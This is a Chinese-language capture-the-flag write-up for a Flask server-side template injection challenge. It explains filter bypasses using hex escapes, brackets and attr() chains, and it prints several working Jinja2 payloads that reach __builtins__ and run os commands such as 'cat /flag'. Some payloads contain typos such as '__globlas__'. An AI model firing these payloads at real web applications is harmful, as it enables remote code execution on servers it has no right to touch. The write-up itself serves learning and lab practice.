[pasecactf_2019]flask_ssti
题目本身出的很诡异,flag删了然后源码里面放了一个憨批对称加密函数,加密过的flag放进了config里面,config可以直接看(BUU题目描述上的那个加密函数是错的),过滤了单引号点号下划线
目标是读源码
题解
只过滤了单引号,双引号还能用,python单双引号好像没有什么大的区别,留了一个能用的就行
单双引号全挂了还过滤字符的话就只能用上次DASCTF的凑%c
和全数字,然后一个个格式化字符串凑字母表
这里不用太麻烦,直接在双引号里面用十六进制\\x00
就能绕过下划线的过滤,点号的过滤用方括号代替,一样能访问属性。
然后随便找个常用payload读文件就能打通。这次的记录主要是重新学习总结了一下SSTI相关的东西,找个机会开一篇文章
总结
__init__.__globals__
过去SSTI的时候大家很喜欢一个叫做catch_warnings
的类,就是因为这个类可以使用__init__.__globals__.__builtins__
然后随意发挥__globals__
是全局对象,存了很多乱七八糟的对象,其中就有强有力的内置对象__builtins__
(python2里是__builtin__
)进而拿到eval这类的对象import os再popen一键打通
比如这个payload {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
或者{{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()'')}}
都是通过获取到__globals__
后拿到__builtins__
,用里面的各种各样的内置方法花式执行
那么为什么大家对catch_warnings
情有独钟?问题就出在__globals__
的获取上,对于一个函数对象,其直接拥有一个__globals__
属性,而类不管是定义还是实例化的对象都不行,由此我们引出__init__
__init__()
是一个类的构造函数,因此访问类的__init__
属性我们将会直接获得一个函数,如果不存在构造函数就会返回一个wrapper包装器。
使用如下测试代码
class A:
a = 1
def __init__(self):
self.a = 1
class C:
c = 1
def b():
return 1
a = A()
c = C()
print(a.__init__) # <bound method A.__init__ of <__main__.A object at 0x0000027C2C5C44F0>>
print(A.__init__) # <function A.__init__ at 0x0000027C2C70FEE0>
print(b) # <function b at 0x0000027C2C70FE50>
print(b.__globals__)# 获取到了globals
print(c.__init__) # <method-wrapper '__init__' of C object at 0x0000027C2C6B8730>
print(C.__init__) # <slot wrapper '__init__' of 'object' objects>
可以看到,对拥有构造函数的A类,其类和实例化对象的__init__
属性均存在,分别为function和bound method,且都能通过该属性访问到__globals__
,而对于不存在构造函数的C类,其__init__
变为了两个wrapper,也无法通过这个属性访问到__globals__
所以catch_warnings
这么受欢迎大概是其自带了构造函数吧
但是事实上flask有很多内置类也自带构造函数,并且能直接拿来用,而不是''.__class__.xxxxxx
这么一长串去找
比如
url_for.__init__
joiner.__init__
config.__class__.__init__ # config是一个config类的实例对象,通过__class__获取到类定义本身再获取init,虽然直接从bound method也能访问到
属性访问和相关绕过
方括号感觉功能性还强于点号。点号只能进行属性的访问,而方括号能访问数组下标和字典键值对,在渲染模板中同样提供了属性访问的功能。
并且方括号里面的属性都是字符串,能够提供各种各样的绕过方法,比如直接\\x00
的十六进制,或者是之前”%c”%num这样子的格式化字符串,和方括号类似的还有attr()函数,不过这个函数只能访问属性,功能上和点号差不多,但是访问的属性同样以字符串参数的形式输入,可以进行超级绕过
attr()使用时需要以c|attr(arg1)|attr(arg2)
方式使用,效果约等于c.arg1.arg2
,用|
还能进行各种各样的函数调用,join拼接字符串,urlencode编码,int和string进行类型转换,tolower等,没有参数的话括号可以不填{%set x="%c"%(1|string,2|string,0|string)|join|int%}
joiner|attr("__init__")|attr(__globlas__)|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")(cmd)
注意attr和点号的功能一致,只支持属性访问,而__globlas__
和__builtins__
是字典类型的变量,所以要调用getitem方法进行数据的访问
函数调用的形式也很直接,attr("__getitem__")
返回了一个函数对象,在函数对象后面直接加括号和参数进行调用,类似于PHP的动态执行?attr("__getitem__")("__import__")("os")
这里先返回一个__getitem__
函数,调用之后返回的__import__
也是个函数,再调用,返回了os
对象,最后attr("popen")(cmd)
返回popen函数执行了命令
SSTI理解逐渐提升。。。